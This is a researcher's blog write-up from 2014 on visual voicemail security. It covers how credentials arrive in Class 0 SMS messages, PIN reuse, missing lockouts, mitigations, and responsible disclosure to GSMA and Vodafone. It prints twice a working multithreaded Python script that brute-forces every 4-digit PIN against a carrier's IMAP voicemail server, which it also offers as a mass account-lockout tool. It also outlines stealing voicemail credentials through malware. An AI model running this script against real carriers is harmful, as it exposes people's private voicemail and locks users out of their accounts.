October 19, 2014 · research voicemail vvm bruteforce

Breaking International Voicemail Security via VVM Exploitation

A few days ago, I gave a presentation at Ruxcon about breaking international voicemail security. Whilst the crowd and conference were absolutely amazing - my overall research, I think has a much wider scope in the terms of whom it could affect. This blog post acts as a technical writeup and companion to my slides presented at Ruxcon.

TL;DR Briefly put, through researching the visual voicemail protocol, we were able to document a number of different vulnerabilities, including some which affected the third largest telco in Australia (30% market share) however the findings could affect a large number of other telco's internationally.

In particular, these vulnerabilities allowed for the breach of any single voicemail account in a major service provider in Australia - a 3 minute pin crack at most.

If you want to jump to the action, click here to see the demo.

To some who have already listened to me talk about this, it may feel like I'm stuck on a single topic and rambling. This is not the case, I merely wish to make it possible for others to test and report these issues to their carriers. Otherwise, I don't think we can inherently trust voicemail.

It goes without saying, however all of this research was done and completed as a private citizen - it is not affiliated with any company or person other than myself and Huey.

Table of Contents

  1. Analysis of the VVM protocol
  2. Vulnerability Classes in the VVM protocol
  3. Mitigation Techniques
  4. Responsible Disclosure
  5. Final notes

Analysis of the VVM protocol

What is visual voicemail?

Visual voicemail is a relatively new voicemail technology when compared with traditional phone based voicemail systems. In a few words: visual voicemail is a way to listen and interact with your voicemails through a graphical interface. VVM was first heavily publicised in 2007 with the release of the iPhone 2G which contained a native client to handle visual voicemail systems.

Being able to access your voicemail visually without the need of all the extra prompts and annoyances striked great support and today visual voicemail exists in most carriers around the world. However the introduction of visual voicemail in itself created a whole new surface area which could be targeted to gain access to someones voicemail.

Under the hood, when visual voicemail is used, the visual voicemail client connects to an IMAP server in the background. The authentication process is done fairly seemlessly, and most of the times, no pin prompt is required.

Any voicemails ever left via the phone to you are then forwarded to the inbox of your personal email-like account and a two way relationship is formed. Actions made through visual voicemail are forwarded on to reflect changes on legacy voicemail servers.

Technical Details and Pre-requisites

Unfortunately, even though visual voicemail was released in 2007, the greater public only received documentation on how visual voicemail servers are implemented in 2012.

I myself, am unsure if Apple provided exclusive documentation on best practices to Telco's - however in my close analysis of three visual voicemail servers (two in Australia and one in America), they seem to all be differently configured. This may suggest that there are no best practices in the way that these VVM servers are configured.

Before digging deep into the technical details of visual voicemail, let's discuss the pre-requisites to merely access the servers:

If you meet these pre-requisites, you are all ready to test and find VVM related flaws. For the more broken down analysis about to follow, I recommend you take a look at the public specification for visual voicemail released via the GSMA by OMTP in 2012.

It can be found here: http://www.gsma.com/newsroom/wp-content/uploads/2012/03/omtpvvmspecification12.pdf.

Authentication

One might be wondering, if you aren't required to enter a voicemail password when opening the visual voicemail screen, how does authentication occur? Good question.

The authentication to the VVM server is done, usually, via Class 0 SMS messages (aka. flash messages). For those that haven't heard of such a thing before, these messages are essentially a way for the mobile service provider to send you a message which you cannot view on the user level however can be interpreted by the mobile itself to do a particular action (i.e. set up visual voicemail). Once a Class 0 SMS messages is sent, the service provider can check if they are successful based on whether or not a receipt is sent back or not.

On the iPhone, these Class 0 messages are not exactly viewable easily - however on Android's or much older mobile phones, it is much easier to grab these SMS messages. In the OMTP document here, it mentions that a "STATUS" Class 0 message is sent with a string that passes on the authentication and server details to the phone.

Class 0 messages are used for much more than just VVM authentication, you can find a list of other things they are used for here.

The example message used in the specification is the following:

//VVM:STATUS:st=N;rc=0;srv=1:10.115.67.251;tui=123;dn=999;ipt=143; spt=25; [email protected];pw=32u4yguetrr34; lang=eng|fre;g_len=25;vs_len=15;pw_len=4-6; [email protected]; smtp_pw=48769463wer;pm=Y;gm=N;

In this message, we can easily recognise that srv is the IMAP server IP address/host, ipt is the port of this address/host, u is the username of the IMAP user for the VVM server and pw is the password of the user. Here the SMTP user and pass are also specified, however this is not always the case.

Let's look at a real life example: T-Mobile visual voicemail status message -

VVM:STATUS:st=R;rc=0;srv=vvm.tmomail.net;ipt=143;[email protected];pw=BOQ8CAzzNcu;lang=1|2|3|4;g_len=180;vs_len=10;pw_len=4-9

Quite similar.

Once the iPhone is authenticated to visual voicemail, all the user needs to do is open the dialer app and click the voicemail tab. If their service provider supports it, and all the pre-requisites are met - they now have access to visual voicemail.

Misc Functionality

As per the specification, the VVM server might have some special functionalities compared to traditional IMAP servers:

In the specification itself, you may find details about the following:

I don't cover these aspects here as they are irrelevent to my later research.

Capturing the VVM Authentication details

iPhone Backup Analysis Example:


Vulnerability Classes

Bruteforcing

By now, most readers must have already recognised that the ability to connect to an IMAP server introduces a whole new field of possible vulnerabilities. One, by far the most obvious, being bruteforce vulnerabilities.

Based off the two SMS Class 0 Status messages I showed above, i.e. that being something like this:

VVM:STATUS:st=R;rc=0;srv=vvm.tmomail.net;ipt=143;[email protected];pw=BOQ8CAzzNcu;lang=1|2|3|4;g_len=180;vs_len=10;pw_len=4-9

You can easily recognise that the pw is a long alphanumeric mixed case string - and really, regardless of the lack of rate limiting and account lockouts, it would be impractical to bruteforce these passwords.

However, let's take the example of the third largest provider in Australia, and more so, the potential case in many more providers around the world.

What if the visual voicemail "pw" was the same as the users actual voicemail password? (This happens more than you can imagine)

I talked earlier about how no public specification existed till mid-late 2012, whilst VVM had been implemented in many mobile providers since 2007. I speculate that the lack of direction and documentation on best practices, as well as laziness or ignorance has lead to such a vulnerability class being introduced to VVM.

A VVM server vulnerable to basic bruteforce attacks, might send out a Class 0 SMS Status message which looks something like this instead:

VVM:STATUS:st=R;rc=0;srv=vvm.vulnvvm.net;ipt=143;[email protected];pw=3915;lang=1|2|3|4;g_len=180;vs_len=10;pw_len=4-9

See the "pw" field? 4 digits. 10,000 combinations. 3 minute pin crack? Priceless.

If a user picked the pin 3159 when setting up their voicemail account, that same pin really is not suited to be their visual voicemail password also. I know that one could even start up an Asterisk script to brute pins via the telephone - but at the same time, it's very unfeasible to execute and may take much much longer than going through visual voicemail - an IMAP server. Adding on, it seems to me that visual voicemail servers lack the lockouts. So far, from 3 servers tested initially, we were unable to find any account lockouts.

So let's get technical. First thing you need is the visual voicemail server details and a working username and password. You can get this by using the methods I describe above here. Once you've got this, let's start by actually trying to authenticating to this server.

Note: you will need to be on the mobile providers internet connection (3g/4g/_) tethering from your mobile is an easy way to do this.

Connecting to the VVM server
Authenticating to the VVM Server
1
2
3
4
import imaplib
mail = imaplib.IMAP4_SSL('vvm.example.com.au')
mail.login('[email protected]', '8454')
mail.list()
  
import imaplib  
mail = imaplib.IMAP4_SSL('vvm.example.com.au')  
mail.login('[email protected]', '8454')  
mail.list()  

Incredibly simple. However, using this script, you can easily debug the connection until you successfuly log in. Essentially, this script is to merely confirm that the VVM server is reachable and that you can connect.

Bruteforcing PoC for the VVM server

So, now we can programmatically connect to the VVM server, bruteforcing should be a piece of cake. Below is a Python 3 PoC which attempts to bruteforce a VVM server which uses PLAIN-Auth. This PoC utilises 100 workers/threads and ultimately depending on your connection, allows for an incredibly fast pin crack (3 mins or less).

Multithreaded VVM Account Bruteforcing
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import imaplib
import itertools
import string
import time
import futures
 
combolist = ["".join(list(x)) for x in itertools.product(string.digits, repeat=4)]
overall_start = time.time()
 
def brute(password):
    username = "[email protected]"
    start_time = time.time()
    try:
        mail = imaplib.IMAP4_SSL('vvm.example.com.au')
        try:
            mail.login('[email protected]', password)
            mail.list()
            print("{0}:{1} worked!".format(username, password))
            with open('oput.txt', 'a') as output:
                output.write("{0}:{1} worked!\n".format(username, password))
            return password
        except Exception as e:
            print("Login error (trying {1}): {0}".format(e, password))
            with open('error_oput.txt', 'a') as error_output:
                error_output.write("{0}:{1} failed!\n".format(username, password))
    except Exception as e:
        print("Connection error (trying {1}: {0}".format(e, password))
    print("attempt took: {0}".format(time.time() - start_time))
 
with futures.ThreadPoolExecutor(max_workers=100) as executor:
    pages = executor.map(brute, (password for password in combolist))
  
import imaplib  
import itertools  
import string  
import time  
import futures

combolist = ["".join(list(x)) for x in itertools.product(string.digits, repeat=4)]  
overall_start = time.time()

def brute(password):  
    username = "[email protected]"
    start_time = time.time()
    try:
        mail = imaplib.IMAP4_SSL('vvm.example.com.au')
        try:
            mail.login('[email protected]', password)
            mail.list()
            print("{0}:{1} worked!".format(username, password))
            with open('oput.txt', 'a') as output:
                output.write("{0}:{1} worked!\n".format(username, password))
            return password
        except Exception as e:
            print("Login error (trying {1}): {0}".format(e, password))
            with open('error_oput.txt', 'a') as error_output:
                error_output.write("{0}:{1} failed!\n".format(username, password))
    except Exception as e:
        print("Connection error (trying {1}: {0}".format(e, password))
    print("attempt took: {0}".format(time.time() - start_time))

with futures.ThreadPoolExecutor(max_workers=100) as executor:  
    pages = executor.map(brute, (password for password in combolist))

What does this look like in action?

Here's the demo of the script above, running on the now patched visual voicemail server for Vodafone Australia.

To put this into perspective:

The above exploit with Vodafone was fixed months ago through a responsible disclosure process. Vodafone responded quite quickly, had a preliminary patch in place within hours and pushed a completed patch in a matter of days.

Account DoS

So, for the above exploit, how would you mitigate it as a service provider? Would you try to block the attacker, or would you lock out an account after x attempts to login. Surprisingly, the default model for voicemail is the latter.

When calling through to a traditional voicemail number - trying five or more times for most Australian mobile networks, prompts an account lock out.

This model is not necessarily bad, but it also introduces a vulnerability class - the ability to mass DoS accounts and lock them out.

What's the PoC you ask?

Multithreaded VVM Account Bruteforcing
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import imaplib
import itertools
import string
import time
import futures
 
combolist = ["".join(list(x)) for x in itertools.product(string.digits, repeat=4)]
overall_start = time.time()
 
def brute(password):
    username = "[email protected]"
    start_time = time.time()
    try:
        mail = imaplib.IMAP4_SSL('vvm.example.com.au')
        try:
            mail.login('[email protected]', password)
            mail.list()
            print("{0}:{1} worked!".format(username, password))
            with open('oput.txt', 'a') as output:
                output.write("{0}:{1} worked!\n".format(username, password))
            return password
        except Exception as e:
            print("Login error (trying {1}): {0}".format(e, password))
            with open('error_oput.txt', 'a') as error_output:
                error_output.write("{0}:{1} failed!\n".format(username, password))
    except Exception as e:
        print("Connection error (trying {1}: {0}".format(e, password))
    print("attempt took: {0}".format(time.time() - start_time))
 
with futures.ThreadPoolExecutor(max_workers=100) as executor:
    pages = executor.map(brute, (password for password in combolist))
  
import imaplib  
import itertools  
import string  
import time  
import futures

combolist = ["".join(list(x)) for x in itertools.product(string.digits, repeat=4)]  
overall_start = time.time()

def brute(password):  
    username = "[email protected]"
    start_time = time.time()
    try:
        mail = imaplib.IMAP4_SSL('vvm.example.com.au')
        try:
            mail.login('[email protected]', password)
            mail.list()
            print("{0}:{1} worked!".format(username, password))
            with open('oput.txt', 'a') as output:
                output.write("{0}:{1} worked!\n".format(username, password))
            return password
        except Exception as e:
            print("Login error (trying {1}): {0}".format(e, password))
            with open('error_oput.txt', 'a') as error_output:
                error_output.write("{0}:{1} failed!\n".format(username, password))
    except Exception as e:
        print("Connection error (trying {1}: {0}".format(e, password))
    print("attempt took: {0}".format(time.time() - start_time))

with futures.ThreadPoolExecutor(max_workers=100) as executor:  
    pages = executor.map(brute, (password for password in combolist))

It's the same one we can use for bruteforcing.

Suppose you're testing VVM servers and you find that there is a lock out after x attempts, you could pretty much lockout a very large number of users. This may be chaotic. Customers would have to call the ISP to get their numbers voicemail reactivated and in some extreme examples, customers may even lose voicemail.

This is a very basic exploit, however if you can't bruteforce the pin due to lock outs, this will most likely come in play.

Malware vector to access VVM

We've already determined that the STATUS Class 0 SMS message containing the credentials for VVM authentication are located in a .db file for Apple phones. Since these credentials give access to the visual voicemail account of a user, if one were to steal this voicemail.db file, they could get access to the victims voicemail.

This is interesting as it poses a new vector for malware creators - voicemail could be very important for targeted attacks. There are only a few requirements for an attacker to gain access to your voicemail via malware:

Larger Scope

The two very specific attacks above are dangerous, however if we take a look at the larger scope - an attacker is not limited to just finding vulnerabilities on the IMAP server.

In the larger view, the server which holds the voicemails could have a large range of other vulnerabilties.

Perhaps it holds webapps that can be exploited to gain more access to the server or has other services which are vulnerable. Whether it be technical or through social engineering/other methods, getting access to a VVM server would lead to a large number of voicemails carrier wide, being leaked.

Do you trust a carriers worth of voicemails on a single box which could be exploited now or in the future?


Mitigation Techniques

Mitigating Bruteforce & Account DoS Attacks

As I mention earlier, mitigating bruteforce through lockouts may not be the best option due to the possiblity of mass DoS'ing accounts. Instead I've thought of a few options which could be viable in mitigating bruteforce.

If my readers think of any other good mitigation techniques, we would love to discuss this in the comments below. We would personally prefer a time based lockout. Even more so, we would prefer our mobile service providers to use a completely random password instead of a pin for our visual voicemail service.


Responsible Disclosure

GSMA

In my entire process of discovering vulnerabilties, I have been in close contact with the GSMA. The GSMA have pushed out my technical write up and PoC to all mobile network providers possible months ago. Whether or not the providers choose to test themselves and fix the vulnerability is up to them.

You can find all of the responsible disclosure emails to GSMA here:

http://static.shubh.am/vvmdisclosure/Gmail - International Visual Voicemail Security.pdf

Vodafone

The responsible disclosure process to Vodafone was not done directly by me, but rather via a third party who co-ordinated my research across and gave a time frame to Vodafone for a fix to be released. Vodafone fixed the flaw quickly, with a preliminary patch and performed a full patch in the coming weeks.


Notes

If there's one thing I want to get across from this lengthy post: test your voicemail.

Huey and I have done all of this research alone, with very little support and (most importantly) a massive lack of resources. We would really appreciate it if readers could give us feedback, test your provider's visual voicemail systems or just say hi.

Thanks to all of my friends who've endured me going through my obsession with voicemail security in 2014, maybe I'll move onto something more challenging now. As a calculated total, both Huey's and my own efforts have allowed for us to break the authentication security of voicemail accounts for more than half of Australia's mobile users (60% or so). This is crazy!

Say hi: